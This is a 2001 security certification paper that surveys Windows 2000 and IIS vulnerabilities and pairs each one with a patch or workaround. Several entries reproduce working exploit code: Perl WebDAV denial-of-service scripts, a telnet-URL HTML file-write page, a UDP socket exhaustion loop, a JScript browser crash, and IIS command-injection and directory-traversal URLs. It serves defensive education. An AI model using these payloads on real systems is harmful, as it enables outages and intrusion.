LevelTwo Securing Windows
GCNT Practical Assignment

Windows 2000 Vulnerabilities and Solutions

Lai Hock, Tay
April 4, 2001

Introduction

It has been observed that students taking the GIAC Windows Security certification exam, have largely focused on the configuration of Windows 2000 servers and workstations in order to harden it. This include:

- the use of strong password
- enforcing password policy
- enforcing audit policy
- disabling unnecessary services
- applying latest service packs

While it is true that this approach is both applicable and important, I believe that it is also important for the security community to keep themselves abreast of the latest security vulnerabilities and whenever possible, contribute their security findings.

Everyday, new security threats are reported. It is our responsibility to keep ourselves updated of the latest vulnerabilities. Herein lies the motivation to write this paper – to provide the reader with the latest update (as of the date of this writing) on the vulnerabilities associated with Windows 2000 and the solutions available. Proper configuration of a Windows 2000 system is necessary but *without applying the necessary patches, it may be impossible for administrators to stop hackers from exploiting their systems*. An excellent example would be the IIS Extended Unicode Directory Traversal Vulnerability.

Windows 2000 Vulnerabilities and Solutions

Vulnerability	**Microsoft IIS 5.0 WebDAV 'Search' Denial of Service Vulnerability**
Published	March 16, 2001
Local or Remote	Remote
Description	WebDAV contains a flaw in the handling of unusually long requests, submitting a valid yet unusually long WebDAV 'search' request could restart the IIS services and possibly cause the server to stop responding.
Exploit	The following exploit has been provided by Georgi Guninski: www.securityfocus.com/data/vulnerabilities/exploits/vv6.pl

```
#!/usr/bin/perl
use IO::Socket;
printf "IIS 5.0 SEARCH\nWritten by Georgi Guninski wait some time\n";
if(@ARGV < 2) { die "\nUsage: IIS5host port \n"; }
$port = @ARGV[1];
$host = @ARGV[0];
sub vv()
{
$ll=$_[0]; #length of buffer
$ch=$_[1];
$socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || return;
$over=$ch x $ll; #string to overflow
$xml='<?xml version="1.0"?><D:searchrequest xmlns:D="DAV:"><D:sql>SELECT DAV:displayname
from SCOPE("'.$over.'")</D:sql></D:searchrequest>'."\n";
$l=length($xml);
$req="SEARCH / HTTP/1.1\nContent-type: text/xml\nHost: $host\nContent-length: $l\n\n$xml\n\n";
syswrite($socket,$req,length($req));
print ".";
$socket->read($res,3000);
print "r=".$res;
close $socket;
}
do  vv(126000,"V");
sleep(1);
do  vv(126000,"V");
#Try 125000 – 128000
```

Solution	Microsoft patch Q291845_W2K_SP2_x86_en http://download.microsoft.com/download/win2000platform/Patch/q291845/NT5/EN-US/Q291845_W2K_SP2_x86_en.EXE

Vulnerability	**Microsoft IE 5.01/ 5.5 Telnet Client File Overwrite Vulnerability**
Published	March 09, 2001
Local or Remote	Remote
Description	Services for Unix 2.0 contains a client side logging option which records all information exchanged in a telnet session. A vulnerability exists that could enable a remote user to invoke the telnet client and execute arbitrary commands on a target machine via IE. This is achieved by crafting a URL composed of command line parameters to the telnet client, which would invoke 'telnet.exe'. Telnet would connect to the host and initiate the logging of session information, access to this file will allow an attacker to write and execute arbitrary commands which may be executed later.
Exploit	The following exploit has been provided by Oliver Friedrichs:

The following URL will cause IE to connect to the host and initiate the logging function:

telnet:-f%20\file.txt%20host

The following is an example of a malicious HTML message which could cause data that is received from the destination port on the host "host" to be written to the file "filename" in the startup directory for all users. If the logged in user has the appropriate permissions, a batch file will be created and executed upon future authentication.

```
<html>
<frameset rows="100%,*">
<frame src=about:blank>
<frame src=telnet:-f%20\Documents%20and%20Settings\All%20Users\start%20menu\programs\startup
\start.bat%20host%208000>
</frameset>
</html>
```

Solution	Microsoft has released a patch which rectifies this issue: http://www.microsoft.com/windows/ie/download/critical/q286043/default.asp

Vulnerability	**Microsoft IIS 5.0 WebDAV Denial of Service Vulnerability**
Published	March 08, 2001
Local or Remote	Remote
Description	Microsoft IIS is subject to a denial of service condition. WebDAV contains a flaw in the handling of certain malformed requests, submitting multiple malformed WebDAV requests could cause the server to stop responding. This vulnerability is also known to restart all IIS services.
Exploit	The following exploit has been provided by Georgi Guninski: www.securityfocus.com/data/vulnerabilities/exploits/vv5.pl

```
#!/usr/bin/perl
# Written by Georgi Guninski
use IO::Socket;
print "IIS 5.0 propfind\n";
$port = @ARGV[1];
$host = @ARGV[0];

sub vv()
{
$ll=$_[0]; #length of buffer
$ch=$_[1];
$over=$ch x $ll; #string to overflow

$socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || return;
#$xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:"
xmlns:u="'."$over".':"><a:prop><a:displayname />'."<u:$over />".'</a:prop></a:propfind>'."\n\n";
# ^^^^ This is another issue and also works with length ~>65000

$xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."over".':"><a:prop><a:displayname
/>'."<u:$over />".'</a:prop></a:propfind>'."\n\n"; $l=length($xml);
$req="PROPFIND / HTTP/1.1\nContent-type: text/xml\nHost: $host\nContent-length: $l\n\n$xml\n\n";
syswrite($socket,$req,length($req));
print ".";
$socket->read($res,300);
#print "r=".$res; close $socket;
}

do vv(128008,"V"); # may need to change the length
sleep(1);
do vv(128008,"V");
print "Done.\n";
```

Solution	Microsoft patch Q291845_W2K_SP2_x86_en http://download.microsoft.com/download/win2000platform/Patch/q291845/NT5/EN-US/Q291845_W2K_SP2_x86_en.EXE

Disabling WebDAV for an Entire IIS 5.0 Web Server

Microsoft Internet Information Services (IIS) version 5.0 supports the Distributed Authoring and Versioning (DAV) extensions to the HTTP protocol as defined in RFC 2518. By default, the entire Web space of IIS is capable of responding to WebDAV requests (even though the security settings will not allow publishing by default).

Because WebDAV is an extension to the HTTP protocol, the concept of disabling WebDAV verbs is like disabling native HTTP verbs such as GET, POST, and so forth. WebDAV functionality on an IIS 5.0 Web server is made possible through the Httpext.dll file, which is always installed. Simply renaming Httpext.dll will not work because the new Windows File Protection (WFP) functionality in Windows 2000 prevents the corruption or deletion of certain system files.

Steps to Disable WebDAV for an Entire IIS 5.0 Web Server

1. Open a command-prompt session.

2. Stop the IIS services by typing the following command and then pressing ENTER: **IISRESET /STOP**

3. Set ACLs on the Httpext.dll file to **everyone no access**:

    a. Change the directory to your %SystemRoot%\System32\Inetsrv folder.

    b. Open a command-prompt session and type: **CACLS httpext.dll /D Everyone**

4. Restart the IIS services by typing the following command and then pressing ENTER: **IISRESET /START**

Vulnerability	**Microsoft IIS Multiple Invalid URL Request DoS Vulnerability**
Published	March 01, 2001
Local or Remote	Local & Remote
Description	Microsoft IIS is subject to a denial of service condition. Requesting a specially crafted URL multiple times to a host running Microsoft IIS, will cause the IIS service to stop responding. A restart of the service is required in order to gain normal functionality.
Exploit	Currently, no exploit.

Solution	Microsoft patch Q286818_W2K_SP3_x86_en http://download.microsoft.com/download/win2000platform/Patch/q286818/NT5/EN-US/Q286818_W2K_SP3_x86_en.EXE

Vulnerability	**Microsoft Outlook vcard Buffer Overflow Vulnerability**
Published	February 22, 2001
Local or Remote	Remote
Description	Due to an unchecked buffer in Microsoft Outlook, it is possible for a remote user to execute arbitrary code on a victim's machine. If a maliciously crafted .vcf file containing malformed data in the 'Birthday' field is sent as an attachment and executed, the maliciously-embedded code could be run on the recipient's machine.
Exploit	The following exploit has been provided by Ollie Whitehouse http://www.atstake.com/research/advisories/2001/Outlook-NT4SP6a-BufferOverflow.vcf
Solution	Microsoft patch http://www.microsoft.com/windows/ie/download/critical/q283908/default.asp

Vulnerability	**Microsoft Windows 2000 Domain Controller DoS Vulnerability**
Published	February 20, 2001
Local or Remote	Local & Remote
Description	A denial of service condition exists in Windows 2000 domain controllers. Submitting numerous invalid requests to a domain controller could cause the system to stop responding.
Exploit	Currently, no exploit.

Solution	Microsoft Windows 2000 Server: Microsoft patch Q287397_W2K_SP3_x86_en http://download.microsoft.com/download/win2000platform/Patch/q287397/NT5/EN-US/Q287397_W2K_SP3_x86_en.EXE Microsoft Windows 2000 Datacenter: Microsoft patch Q287397_W2K_SP3_x86_en http://download.microsoft.com/download/win2000platform/Patch/q287397/NT5/EN-US/Q287397_W2K_SP3_x86_en.EXE Microsoft Windows 2000 Advanced Server: Microsoft patch Q287397_W2K_SP3_x86_en http://download.microsoft.com/download/win2000platform/Patch/q287397/NT5/EN-US/Q287397_W2K_SP3_x86_en.EXE

Vulnerability	**Microsoft Windows UDP Socket DoS Vulnerability**
Published	February 06, 2001
Local or Remote	Local & Remote
Description	Microsoft Windows 2000 is subjected to a denial of service condition. Receiving a maliciously crafted email or visiting a malicious web site could prevent Windows 2000 from DNS resolution. This is due to a lack of restrictions on the allocation of network "sockets" by user applications. A malicious java applet placed on a website could exploit this vulnerability and cause a DoS on victim systems.

Exploit	Georgi Guninski has provided the following exploit:
	
	for(i=0;i<m;i++)
	{
	
	try { DatagramSocket d = new DatagramSocket();v.addElement(d);}
	catch (Exception e) {System.out.println("Exhausted, i="+i);}
	}
	
	Georgi Guninski has also provided a demonstration:
	
	http://www.guninski.com/winudpdos.html

Solution	Currently no solution.

Vulnerability	**Microsoft Windows 2000 RDP DoS Vulnerability**
Published	January 31, 2001
Local or Remote	Local & Remote
Description	Windows 2000 Server and Advanced Server are subject to a denial of service condition. Submitting multiple malformed packets to the RDP services port will cause the server to crash.
Exploit	Currently, no exploit.
Solution	Microsoft Windows 2000 Server: Microsoft patch Q286132_W2K_SP2_x86_en http://download.microsoft.com/download/win2000platform/Patch/q286132/NT5/EN-US/Q286132_W2K_SP2_x86_en.EXE Microsoft Windows 2000 Advanced Server: Microsoft patch Q286132_W2K_SP2_x86_en http://download.microsoft.com/download/win2000platform/Patch/q286132/NT5/EN-US/Q286132_W2K_SP2_x86_en.EXE

Vulnerability	**Microsoft IIS File Fragment Disclosure Vulnerability**
Published	January 29, 2001
Local or Remote	Remote
Description	It is possible for a remote attacker to view segments of a requested file. A maliciously crafted URL could cause IIS to use .htr ISAPI extensions to process requests of other file types.
Exploit	Currently, no exploit.
Solution	Microsoft IIS 5.0: Microsoft patch Q285985_W2K_SP3_x86_en http://download.microsoft.com/download/win2000platform/Patch/Q285985/NT5/EN-US/Q285985_W2K_SP3_x86_en.EXE

Vulnerability	**Windows 2000 EFS Temporary File Retrieval Vulnerability**
Published	January 19, 2001
Local or Remote	Local

Description	EFS is the encrypted file system package designed to secure sensitive information. It is included with the Windows 2000 Operating System, distributed and maintained by Microsoft Corporation. A problem in the package could allow the recovery of sensitive data encrypted by the EFS. When the file is selected for encryption, and backup copy of the file is moved into the temporary directory using the file name efs0.tmp. The data from this file is taken and encrypted using EFS, with the backup file being deleted after the encryption process is performed. However, after the file is encrypted and the file is deleted, the blocks in the file system are never cleared, thus making it possible for any user on the local host to access the data of the encrypted file, which falls outside of the constrains of access control imposed by the Operating System. This makes it possible for a malicious user to recover sensitive data encrypted by EFS.
Exploit	Currently, no exploit.
Solution	Currently, no solution.

Vulnerability	**Microsoft WINS Domain Controller Spoofing Vulnerability**
Published	January 17, 2001
Local or Remote	Local
Description	Windows Internet Naming Service (WINS) ships with Microsoft Windows NT Server. WINS resolves IP addresses with network computer names in a client to server environment. A distributed database is updated with an IP address for every machine available on the network. Unfortunately WINS does not properly verify the registration of domain controllers. It is possible for a user to modify the entries for a domain controller, causing the WINS service to redirect requests for the DC to another system. This can lead to a loss of network functionality for the domain. The DC impersonator can also be set up to capture username and password hashes passed to it during login attempts.
Exploit	The following exploit has been provided by David Byrne: www.securityfocus.com/data/vulnerabilities/exploits/wins2.pl

Solution	The following workaround has been provided by David Byrne <dbyrne@tiaa-cref.org>: Use static entries for records that are sensitive (there are probably more besides 1Ch). Domain Controllers shouldn't be changed very often, so the management work would be minimal. The following workaround has been provided by Paul L Schmehl <pauls@utdallas.edu>: MS's response was that because WINS uses NetBIOS, which has no security capabilities, there was no way to prevent that sort of hijacking. Their answer is Active Directory, Kerberos and DNS. We were not able to find a way to exploit it remotely **if** you are blocking NetBIOS at the DMZ, as you should be (both outgoing and incoming.).

Vulnerability	**Microsoft MSHTML.DLL Crash Vulnerability**
Published	January 15, 2001
Local or Remote	Local & Remote
Description	MSHTML.DLL is the shared library for parsing HTML in Internet Explorer and related applications. It may be possible for an attacker to crash this library remotely and cause a denial of service with special Jscript code. This bug involves Jscript's ability to handle multiple window objects. If a window object is deleted after it receives data and then re-initalized, the library will reportedly crash. This behavior has been attributed to a stack overflow by its discoverer. It is reportedly not exploitable in any way that may permit an attacker to gain access to the victim host.

Exploit	The following exploit has been provided by Thor Larholm <thor@jubii.dk>:
	<iframe id=test style="display:none"></iframe>
	<script>
	Larholm = {}; // Object literal
	test.document.open(); // Stream data
	test.document.write("<s"+"cript>top.Larholm.test=0</s"+"cript>");
	delete Larholm;
	Larholm = {}; // Crash
	</script>

Solution	Microsoft has acknowledged this bug and it should be fixed in the next service pack.

Vulnerability	**Microsoft Web Client Extender NTLM Authentication Vulnerability**
Published	January 11, 2001
Local or Remote	Local & Remote
Description	Web Extender Client (WEC) is a feature in Office 2000, Windows 2000 and Windows ME used in web publishing. WEC enables a user to manipulate basic file functions such as DIR using the HTTP protocol. Due to a design error, WEC does not implement the security zone settings in Internet Explorer. The vulnerability lies within the fact that WEC may initiate a NTLM challenge-response session with any server even if it is not trusted. Therefore, a malicious user could possibly obtain third-party NTLM credentials by either creating a HTML or email message which requests a session that would automatically send NTLM credentials back to the malicious user. They could then apply brute force techniques to the recovered data to access a valid password. Successful exploitation of this vulnerability could lead to the disclosure of sensitive information and possibly assist in further attacks against the victim.
Exploit	Currently, no exploit.
Solution	Microsoft Office 2000: Microsoft patch fpwec http://download.microsoft.com/download/office2000pro/fpwec/2000/W98NT42KMe/EN-US/fpwec.exe Microsoft Windows ME: Microsoft patch 282132USAM http://download.microsoft.com/download/winme/Update/14733/WinMe/EN-US/282132USAM.EXE Microsoft Windows 2000 : Microsoft patch Q282132_W2K_SP2_x86_en http://download.microsoft.com/download/win2000platform/Patch/Q282132/NT5/EN-US/Q282132_W2K_SP2_x86_en.EXE

Vulnerability	**Microsoft IIS Front Page Server Extension DoS Vulnerability**
Published	December 22, 2000

Local or Remote	Local & Remote
Description	Microsoft IIS ships with Front Page Server Extensions (FPSE) which enables administrators remote and local web page and content management. Browse - time support is another feature within FPSE which provides users with functional web applications. Due to the way FPSE handles the processing of web forms, IIS is subject to a denial of service. By supplying malformed data to one of the FPSE functions IIS will stop responding. A restart of the service is required in order to gain normal functionality. It should be noted that the victim only requires to have FPSE installed on the web server to be vulnerable.
Exploit	Currently, no exploit.
Solution	Microsoft IIS 5.0: Microsoft patch Q280322_W2K_SP2_x86_en http://download.microsoft.com/download/win2000platform/Patch/q280322/NT5/EN-US/Q280322_W2K_SP2_x86_en.EXE

Vulnerability	**Microsoft Windows 2000 Directory Services Restore Mode Blank Password Vulnerability**
Published	December 20, 2000
Local or Remote	Local

Description	During the boot process, Windows 2000 Server provides a number of operating system modes to assist an Administrator in troubleshooting and restoring a damaged system configuration. In the event that the "Configure your Server" tool was implemented on a system in order to promote it to domain controller status, a blank password will be assigned to the operating system mode 'Directory Service Restore Mode'. This would allow a malicious user who had physical access to the machine to log on in Directory Service Restore Mode with administrative privileges. The "Configure your Server" tool is used in order to promote a server to become the first domain controller in a forest, which is set of Active Directory domains. The vulnerability lies within the fact that during implementation of the tool, a null password will be assigned to Directory Service Restore Mode. Any user who could physically access the machine would be able to log onto the machine and perform administrative duties that can be exercised in Directory Service Restore Mode. This would also give the user the capability to install a malicious program which would be executed after reboot. When the password for Directory Service Restore Mode is modified, it is synchronized with the password of the Recovery Console. Therefore, the Recovery Console is also designated a blank password in this situation. The DCPROMO tool which accomplishes the same task as the "Configure your Server" tool is not affected by this vulnerability. Successful exploitation of this vulnerability could lead to a full compromise of the system or the domain.
Exploit	Currently, no exploit.

Solution	Microsoft has released patches which will eliminate this vulnerability. The patch also includes the SETPWD tool which allows the administrator to modify the value of the Directory Service Restore Mode and Recovery Console password. The command syntax for the tool is: SETPWD [/s:servername] Microsoft Windows 2000 Server: Microsoft patch Q271641_W2K_SP2_x86_en http://download.microsoft.com/download/win2000platform/Patch/q271641/NT5/EN-US/Q271641_W2K_SP2_x86_en.EXE Microsoft Windows 2000 Advanced Server: Microsoft patch Q271641_W2K_SP2_x86_en http://download.microsoft.com/download/win2000platform/Patch/q271641/NT5/EN-US/Q271641_W2K_SP2_x86_en.EXE

Vulnerability	**Microsoft Windows Media Services Severed Connection DoS Vulnerability**
Published	December 14, 2000
Local or Remote	Local & Remote
Description	Microsoft Windows Media Services are the server-side component of Windows Media Technologies which provides streaming video and audio content capabilities. It is divided into types of services, Unicast and Multicast. Windows Media Unicast Services supplies media content to one client at a time as opposed to Multicast which serves multiple clients simultaneously. Windows Media Unicast Services are only affected by the vulnerability at hand. In the event that a client establishes a connection and then severs it abruptly in a particular fashion, Windows Media Services will not release the resources it has allocated to that particular client. If Windows Media Services were to receive these connections repeatedly, resources would become depleted and reach such a level that Windows Media Services would not be able to properly service clients. Restarting the service would be required in order to regain normal functionality and any client being serviced at the time would have to re-establish their connection.
Exploit	Currently, no exploit.

Solution	Microsoft Windows Media Services 4.1: Microsoft patch WMSU35924 http://download.microsoft.com/download/winmediatech40/Update/35924/NT45/EN-US/WMSU35924.EXE Microsoft Windows Media Services 4.0: Microsoft patch WMSU35924 http://download.microsoft.com/download/winmediatech40/Update/35924/NT45/EN-US/WMSU35924.EXE

Vulnerability	**Microsoft PhoneBook Server Buffer Overflow**
Published	December 04, 2000
Local or Remote	Local & Remote
Description	The Phone Book Service is an optional component that ships with the NT 4 Option Pack and Windows 2000. It is not installed by default. A buffer overflow vulnerability was discovered in the URL processing routines of the Phone Book Service requests on IIS 4 and IIS 5. If exploited, this vulnerability allows an attacker to execute arbitrary code and obtain a remote command shell with those privileges of the IUSR_machinename account (IIS 4) or the IWAM_machinename account (IIS 5).

Exploit	The Phone Book server services requests using the Internet Information Services 5.0 with URIs such as http://hostname/pbserver/ According to Microsoft's documentation a DLL (PBSERVER.DLL) is exported and the services can be used making requests with the following format: http://hostname/pbserver/pbserver.dll?osarch=&ostype=&osver=&cmver=&lcid=&pbver=&pb=<STRING=db name> In the DLL checks the total lenght to ensure that request does not exceed 1024 bytes, however it is possible to overflow a local variable of fixed length in the DLL by sending a request with the following form: GET /pbserver/pbserver.dll?&&&&&&pb=AAAAAA... (less than 980 chars) HTTP/1.0\n\n By sending a carefully crafted HTTP request an attacker can bypass the total length check and overflow a local variable in PBSERVER.DLL allowing the execution of arbitrary code as user GUEST on the vulnerable machine.
Solution	Microsoft Windows 2000 : Microsoft patch Microsoft Patch 25531 http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25531

Vulnerability	**Microsoft Windows 2000 Domain Account Lockout Bypass Vulnerability**
Published	November 21, 2000
Local or Remote	Local & Remote

Description	Under certain circumstances, it is possible to bypass a domain account lockout policy on a local machine which would render this protective measure against brute force password attempts ineffective. The purpose of a domain account lockout policy is to disable an account after a certain number of unsuccessful login attempts. If this policy was not implemented, the password of a domain account could be guessed an unlimited number of times. Windows 2000 hosts in a non-2000 domain using NTLM authentication will fail to recognize a domain account lockout policy for users whose credentials are locally cached. Cached credentials contain the username and password in hashed form and are used in the event that the domain controller is not available to perform authentication. Windows 2000 systems that are not using NTLM to perform authentication are not susceptible to this vulnerability, therefore clients that are members of Windows 2000 domains would not be vulnerable because Kerberos authentication is being implemented. This vulnerability would allow for the possibility of successful retrieval of a valid password through the use of brute force techniques. If a malicious user was able to login with a password acquired from a brute force attack, they would gain privileges of the same level as the domain account but would be confined to the local machine because domain authentication would not be able to take place and the lockout policy would be exercised at the domain level.
Exploit	Currently, no exploit.
Solution	Microsoft Windows 2000 Datacenter: Microsoft patch Q274372_W2K_SP2_x86_en http://download.microsoft.com/download/win2000platform/Patch/q274372/NT5/EN-US/Q274372_W2K_SP2_x86_en.EXE Microsoft Windows 2000 : Microsoft patch Q274372_W2K_SP2_x86_en http://download.microsoft.com/download/win2000platform/Patch/q274372/NT5/EN-US/Q274372_W2K_SP2_x86_en.EXE

Vulnerability	**Microsoft Indexing Services for Windows 2000 File Verification Vulnerability**
Published	November 10, 2000
Local or Remote	Local & Remote

Description	Microsoft Windows 2000 Indexing Services is a search engine that will allow a user to perform full-text searches of online sites using their browsers. Search results include Word, Excel, PowerPoint, and HTML documents. By default, this service is not enabled in Windows 2000. A malicious website operator may verify the existence of files residing on a Windows 2000 system with Indexing Services enabled. The website operator is capable of searching for specific files by using the Indexing Services via specially malformed HTML containing the ActiveX Object 'ixsso.query'. Query results will display the full physical path of the file and will only be retrieved from directories that have been explicitly configured as searchable directories within the Indexing Service. Successful disclosure of a file's availability may aid in more severe attacks against the target system.
Exploit	Georgi Guninski <guninski@guninski.com> has set up the following demonstration page: http://www.guninski.com/indexserv1.html
Solution	Disable Active Scripting or the Indexing Service.

Vulnerability	**Microsoft IIS 5.0 Executable File Parsing Vulnerability**
Published	November 06, 2000
Local or Remote	Local & Remote

Description	When Microsoft IIS 4.0/ 5.0 receives a valid request for an executable file, the filename is then passed onto the underlying operating system which executes the file. In the event that IIS receives a specially formed request for an executable file followed by operating system commands, IIS will proceed to process the entire string rather than rejecting it. Thus, a malicious user may perform system commands through cmd.exe under the context of the IUSR_machinename account which could possibly lead to privilege escalation, deletion, addition, and modification of files, or full compromise of the server. In order to establish successful exploitation, the file requested must be an existing .bat or .cmd file residing in a folder that the user possesses executable permissions to. (November 27, 2000): Georgi Guninski has discovered new variants of this vulnerability that have appeared after applying the patch (Q277873) supplied by Microsoft. (December 7, 2000): Billy Nothern has discovered that the commands can also be parsed through ActiveState Perl.
Exploit	The following HTTP requests will display a directory listing for C:\. http://target/scripts/file.bat"+&+dir+c:/+.exe (IIS 5.0) http://target/scripts/file.bat"+&+dir+c:/+.com http://target/scripts/file.bat"+"&+dir+c:/+.exe (IIS 4.0) http://target/scripts/a.bat"+".exe?+&+dir http://target/scripts/..%c1%1c../..%c1%1c../mssql7/install/pubtext.bat"+&+dir+c:\+.exe The following URLs apply to IIS 5.0 after the patch (Q277873) provided by Microsoft is installed: http://target/scripts/file.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c%20dir%20C:\ http://target/scripts/georgi.asp/..%C1%9C..%C1%9C..%C1%9Cfile.ext

Solution	Microsoft has released patches which eliminate the vulnerability. Those who applied the IIS 5.0 released before November 30, 2000 are recommended to install the patch below. It rectifies regression errors that existed in prior versions of the patch. Microsoft IIS 5.0: Microsoft patch q277873 (IIS 5.0) http://download.microsoft.com/download/win2000platform/Patch/Q277873/NT5/EN-US/Q277873_W2K_SP2_x86_en.EXE Microsoft IIS 4.0: Microsoft patch q277873 (IIS 4.0) http://www.microsoft.com/ntserver/nts/downloads/critical/q277873

Vulnerability	**Microsoft Windows 2000 ActiveX Control Buffer Overflow Vulnerability**
Published	November 02, 2000
Local or Remote	Local & Remote
Description	An unchecked buffer exists in the System Monitor ActiveX Control included with Microsoft Windows 2000 (sysmon.ocx, classid:C4D2D8E0-D1DD-11CE-940F-008029004347). Depending on the data entered when invoking the ActiveX control, a malicious user could either launch a denial of service attack or execute arbitrary code on a remote system. This can be exploited remotely via either a web browser or html-complaint email, provided that ACtiveX is enabled in the browser or mail client. The problem is in the LogFileName parameter supplied to the control. If the length of the data entered as this value is longer than 2000 characters, memory containing executable code will be overwritten with the remotely-supplied data. This data will then be executed on the target system at the current user's privilege level. Successful disclosure of a file's availability may aid in more severe attacks against the target system.
Exploit	USSR has provided two example pages, at: http://www.ussrback.com/microsoft/msmactivex.html http://www.ussrback.com/microsoft/msmactivex2.html

Solution	Microsoft Windows 2000 : Microsoft patch Q278511_W2K_SP2_x86_en http://download.microsoft.com/download/win2000platform/Patch/Q278511/NT5/EN-US/Q278511_W2K_SP2_x86_en.EXE

Vulnerability	**Microsoft IIS 4.0/5.0 Session ID Cookie Disclosure Vulnerability**
Published	October 23, 2000
Local or Remote	Local
Description	Under certain circumstances, Microsoft IIS will transmit the plaintext contents of Session ID Cookies that should be marked as secure. A website may require state information so that it can distinguish one user over another, especially if it undergoes a great deal of traffic load. This is especially prevalent in the case of e-commerce sites in order to keep track of an individuals shopping order, etc. as they browse from page to page. Session ID Cookies may be used as a method to acquire state information. It maintains the identity of a user as they browse a site. When a user initiates a SSL secured web session, Session ID Cookies should be marked as secure from there on (see RFC 2109 for reference: http://www.ietf.org/rfc/rfc2109.txt). This is not the case if the user visits an ASP page hosted on IIS. In the event that a user views an ASP document during a secure web session, the Session ID Cookie would then be marked as insecure. Once the user were to visit a non-secure portion of the website, a malicious third party who had access to the network traffic between the user and the website would be able to read the contents of the cookie since it would be sent in plaintext. The attacker would then be able to use the credentials from the Session ID Cookie to successfully hijack the session and take any further actions under the identity of the original user.
Exploit	See web: http://www.acros.si
Solution	Microsoft IIS 5.0: Microsoft patch q274149 (Win2K) http://www.microsoft.com/Windows2000/downloads/critical/q274149/ Microsoft IIS 4.0: Microsoft patch q274149 (WinNT) http://www.microsoft.com/ntserver/nts/downloads/critical/q274149/

Vulnerability	**Microsoft IIS 4.0/5.0 Session ID Cookie Disclosure Vulnerability**
Published	October 23, 2000
Local or Remote	Local
Description	Under certain circumstances, Microsoft IIS will transmit the plaintext contents of Session ID Cookies that should be marked as secure. A website may require state information so that it can distinguish one user over another, especially if it undergoes a great deal of traffic load. This is especially prevalent in the case of e-commerce sites in order to keep track of an individuals shopping order, etc. as they browse from page to page. Session ID Cookies may be used as a method to acquire state information. It maintains the identity of a user as they browse a site. When a user initiates a SSL secured web session, Session ID Cookies should be marked as secure from there on (see RFC 2109 for reference: http://www.ietf.org/rfc/rfc2109.txt). This is not the case if the user visits an ASP page hosted on IIS. In the event that a user views an ASP document during a secure web session, the Session ID Cookie would then be marked as insecure. Once the user were to visit a non-secure portion of the website, a malicious third party who had access to the network traffic between the user and the website would be able to read the contents of the cookie since it would be sent in plaintext. The attacker would then be able to use the credentials from the Session ID Cookie to successfully hijack the session and take any further actions under the identity of the original user.
Exploit	See web: http://www.acros.si
Solution	Microsoft IIS 5.0: Microsoft patch q274149 (Win2K) http://www.microsoft.com/Windows2000/downloads/critical/q274149/ Microsoft IIS 4.0: Microsoft patch q274149 (WinNT) http://www.microsoft.com/ntserver/nts/downloads/critical/q274149/

Vulnerability	**Microsoft IIS and PWS Extended Unicode Directory Traversal Vulnerability**
Published	October 17, 2000
Local or Remote	Local & Remote

Description	Microsoft IIS 4.0 and 5.0 are both vulnerable to double dot "../" directory traversal exploitation if extended UNICODE character representations are used in substitution for "/" and "\". Unauthenticated users may access any known file in the context of the IUSR_machinename account. The IUSR_machinename account is a member of the Everyone and Users groups by default, therefore, any file on the same logical drive as any web-accessible file that is accessible to these groups can be deleted, modified, or executed. Successful exploitation would yield the same privileges as a user who could successfully log onto the system to a remote user possessing no credentials whatsoever. It has been discovered that a Windows 98 host running Microsoft Personal Web Server is also subject to this vulnerability. (March 18, 2001)
Exploit	Roelof Temmingh <roelof@sensepost.com> has released the following exploits: www.securityfocus.com/data/vulnerabilities/exploits/unicodecheck.pl www.securityfocus.com /data/vulnerabilities/exploits/unicodexecute.pl www.securityfocus.com /data/vulnerabilities/exploits/unicodexecute2.pl
Solution	IIS 4.0 http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp IIS 5.0 http://www.microsoft.com/windows2000/downloads/critical/q269862/default.asp

Conclusion

The security of a computer network belonging to a university, government agency or commercial firm is no longer taking second place compare to its performance and functionality. With purchases and transactions no longer limited to traditional services such as mail and phone orders, CEOs recognise that their businesses are as secure as their networks will be.

It is common today to hear people conduct vulnerabilities assessment, also known as penetration testing, to their own networks either themselves or by engaging a third party. Having a good knowledge of the latest vulnerabilities and their solutions is no doubt a pre-requisite to conducting such an assessment. I hope this paper has provide you an update for Windows 2000 systems and drive home the point of keeping one updated of the latest security threats.

References

[1] Fossen, Jason. SANS Windows 2000 Security: Active Directory and Group Policy Coursebook

[2] Fossen, Jason. SANS Windows 2000 Security: Securing IIS 5.0 Coursebook

[3] Microsoft Windows 2000 Security Technical Reference, Microsoft Press

[4] "How to Disable WebDAV for IIS 5.0" Microsoft Knowledge Base Article ID: Q241520

[5] Hacking Exposed, Foundstone Inc.

[6] Securityfocus Website
http://www.securityfocus.com